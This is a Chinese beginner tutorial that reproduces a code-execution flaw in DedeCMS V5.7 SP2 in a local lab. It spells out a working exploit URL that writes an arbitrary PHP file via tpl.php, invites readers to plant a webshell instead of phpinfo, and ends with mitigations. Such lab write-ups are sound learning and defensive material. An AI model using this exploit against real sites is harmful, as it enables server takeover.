本文介绍的漏洞虽然不是最新漏洞,但意在让初学者了解漏洞复现的基本流程。
首先了解一下什么是CMS。CMS是Content Management System的缩写,意为"内容管理系统"。内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。
这里的的DedeCMS就是CMS的一种,织梦内容管理系统(DedeCMS),是一个集内容发布、编辑、管理检索等于一体的网站管理系统(Web CMS),他拥有国外CMS众多特点之外,还结合中国用户的需要,对内容管理系统概念进行明确分析和定位。
准备工作
1、DedeCMS源码包(这里使用的是V5.7 SP2版本);
2、PHPstudy软件(百度就可以下到);
3、VMware虚拟机软件(使用本机系统也可,建议使用虚拟机环境)。虚拟机安装windows7以上版本。
环境搭建
一、在虚拟机系统中安装PHPstudy软件。安装后打开软件如图一所示。
图一
二、点击网站,点击管理进入部署的网站的根目录,如图二。将事先准备的DedeCMS的源码包解压,并将uploads文件夹复制进根目录中,如图三。
图二
图三
三、如图四,点击启动即可开始一键部署网站环境。接着,就可以打开浏览器输入“http://127.0.0.1/uploads”开始初始化网站设置了。如图七,在对应框中输入数据库的初始密码“root”,设置好后台的登录账号和密码即可完成。
图四
图五
图六
图七
图八
漏洞复现
一、在域名后面加上个/dede访问后台,输入搭建的时候设置的登录账号和密码。http://127.0.0.1/uploads/dede/,如图九。
图九
二、DedeCMS V5.7 SP2版本中tpl.php存在代码执行,利用这个漏洞在增加新的标签中上传木马获取Webshell,我们先获取token,访问/dede/tpl.php?action=upload在该页面中右键查看源代码获取到token值。
图十
图十一
二、访问“http://127.0.0.1/uploads/dede/tpl.php?filename=secquan.lib.php&action=savetagfile&content=<?php%20phpinfo();?>&token=cd70e2295311226c12fe17810755efbb”
【URL地址+token值自行更换】
这个URL就是建立一个secquan.lib.php文件并写入“<?php%20phpinfo();?>”这段代码。这里需要token的值来验证我们的身份权限才可以写入。如图十二。
图十二
三、接着访问/include/taglib/路径下的secquan.lib.php读取得到phpinfo。
http://127.0.0.1/uploads/include/taglib/secquan.lib.php,如图十三。
图十三
结论总结
至此就表示成功复现了该漏洞。该phpinfo界面就是我们通过传递参数写入的非法文件,该界面可以获取网站的路径信息等。当然你也可以尝试写入一句话木马来获取服务器权限,这里暂且不表,有兴趣的朋友也可以自己尝试。
总结一下,这里的漏洞实战利用还是有一定限制的,这里首先要登录到管理后台,才可以访问到以上目录。所以要补救该漏洞就可以设置复杂的登录口令,不使用默认的账户名。另外也可以通过设定严格的路径权限或限制用户传递的文件格式等。当然,根本方法是升级版本,治标治本!